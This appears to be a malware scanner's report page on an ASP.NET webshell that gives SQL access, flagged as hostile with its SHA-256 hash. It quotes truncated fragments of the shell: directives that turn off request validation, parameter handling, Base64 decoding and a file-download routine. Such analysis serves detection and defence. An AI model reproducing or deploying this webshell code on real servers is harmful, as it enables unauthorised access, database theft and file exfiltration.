Hostile ^92% Download

19f00c273bc6a5e5874b8f0927c5f06e2b56669f183ff33c3cb35d728e3375c0.unknown

ASP webshell with SQL access

ASP webshell giving SQL access. Might also be a dual use tool.Creates DOM element

SHA-25619f00c273bc6a5e5874b8f0927c5f06e2b56669f183ff33c3cb35d728e3375c0

Evidence

ASP webshell giving SQL access. Might also be a dual use tool. lines 1–16

1<%@ Page Language="C#"   trace="false" EnableViewStateMac="false"  validateRequest="false"  enableEventValidation="false" %>
2<%@ import Namespace="System.Collections.Generic"%> 
3<%@ import Namespace="System.Web.Services"%> 
4<%@ import Namespace="System.Web"%> 
5<%@ import Namespace="System.IO"%> 
6<%@ import Namespace="System"%> 
7<%@ import Namespace="System.Net" %>
8<%@ import Namespace="System.Diagnostics"%> 
9<%@ Import Namespace="System.Data.SqlClient"%>
10<%@ import Namespace="Microsoft.Win32"%>
11<%@ import Namespace="System.Management"%>
⋯5 lines

Matches 'HttpContexts' lines 239–245

2…        }
      msgs.Text = "";        
      
     if (Request.QueryString["Name"] != null || Request.QueryString["Name"] != "")
     {
         string temp = Request.QueryString["Name"];
      …

Reads an ASP.NET request parameter lines 265–272

13… IsPostBack)
      {
         
          string evarg = Request["__EVENTTARGET"];
          string args = Request["__ARGS"];
          
        //  Page.Title = evarg;
          if  …

.NET FromBase64String method reference lines 538–542

50… der.GetDecoder();
539
          byte[] todecode_byte = Convert.FromBase64String(data);
          int charCount = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length);
          char[] decode …

ASP.NET Response.Write response sink lines 880–885

13… Page.Response.ContentType = "application/unknown";
          Response.WriteFile(fs.FullName);
          Page.Response.Flush();
          Page.Response.Close();
          Response.End();
      …